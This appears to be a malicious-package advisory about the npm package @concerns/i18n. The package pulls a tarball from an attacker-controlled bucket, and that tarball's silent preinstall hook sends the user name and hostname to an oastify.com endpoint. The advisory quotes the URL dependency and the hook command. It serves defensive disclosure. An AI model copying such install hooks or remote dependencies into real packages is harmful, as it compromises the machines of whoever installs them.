GCVE-110-OSM-2026-4967

This package implements a dependency confusion / supply chain attack via a URL-based dependency pulling `ltidisafe-2.6.8.tgz` from an attacker-controlled Google Cloud Storage bucket (`ltidi.storage.googleapis.com`). That nested package runs `node test.js` silently at preinstall time, collects system information via `os.userInfo()` and `os.hostname()`, and exfiltrates to an OAST/oastify.com endpoint — a classic beacon used to confirm successful compromise. The publisher `ltdwh8` has a 55% malicious ratio across 20 checked packages, all following the same pattern, indicating a systematic campaign. The outer package (`@concerns/i18n`) is a hollow shell with no meaningful code; all malicious logic is hidden in the fetched tarball. Entrypoint: index.js (main: index.js) Payload: [ltidisafe] test.js Key findings: - URL-Based Dependency in package.json: ""dependencies": { "ltidisafe": "https://ltidi.storage.googleapis.com/depenco..." - Publisher Has Other Malicious Packages - OAST/Interactsh Exfiltration in [ltidisafe] test.js: "oastify.com" - Install Hook Executes Local JS File in [ltidisafe] package.json: ""preinstall": "node test.js > /dev/null 2>&1"" IOCs: